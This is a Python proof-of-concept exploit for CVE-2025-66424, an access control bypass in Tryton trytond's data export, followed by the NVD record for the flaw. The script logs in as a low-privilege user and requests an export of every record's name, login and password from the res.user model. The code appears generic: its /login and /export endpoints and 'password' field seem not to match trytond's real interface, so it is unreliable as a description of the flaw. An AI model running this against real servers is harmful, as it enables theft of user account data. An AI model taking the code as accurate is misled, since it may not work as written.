CVE-2025-66424

# CVE-2025-66424 PoC - Tryton trytond Data Export Access Control Bypass # Affected versions: Tryton trytond 6.0 < 6.0.70, 7.0 < 7.0.40, 7.4 < 7.4.21, 7.6 < 7.6.11 import requests import json # Configuration TARGET_URL = "http://target-tryton-server.com:8000" USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit_cve_2025_66424(): """ PoC for CVE-2025-66424: Access control bypass in Tryton data export Low-privilege user can export data they should not have access to """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authenticated successfully with low-privilege account") # Step 2: Attempt to export restricted data (access control bypass) export_url = f"{TARGET_URL}/export" export_data = { "model": "res.user", "fields": ["name", "login", "password"], "domain": [], # Empty domain to export all records "export_format": "csv" } response = session.post(export_url, json=export_data) if response.status_code == 200 and "data" in response.text: print("[+] Access control bypass successful!") print("[+] Retrieved restricted data without proper authorization") return True else: print("[-] Exploitation failed or patch already applied") return False if __name__ == "__main__": print("CVE-2025-66424 PoC - Tryton trytond Access Control Bypass") exploit_cve_2025_66424()

{"cve": {"id": "CVE-2025-66424", "sourceIdentifier": "[email protected]", "published": "2025-11-30T03:15:48.360", "lastModified": "2025-12-04T16:50:12.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tryton trytond 6.0 before 7.6.11 does not enforce access rights for data export. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.70", "matchCriteriaId": "4E811A8E-7C2B-414F-B929-7AF685F83092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.40", "matchCriteriaId": "179B2F4A-0AF8-4D72-A371-B0B7A2BD9FBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.21", "matchCriteriaId": "EC73A2FC-9781-4560-9C79-3A6627BF3A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.11", "matchCriteriaId": "899860ED-5426-4396-AF24-470DB633F208"}]}]}], "references": [{"url": "https://discuss.tryton.org/t/security-release-for-issue-14366/8953", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://foss.heptapod.net/tryton/tryton/-/issues/14366", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}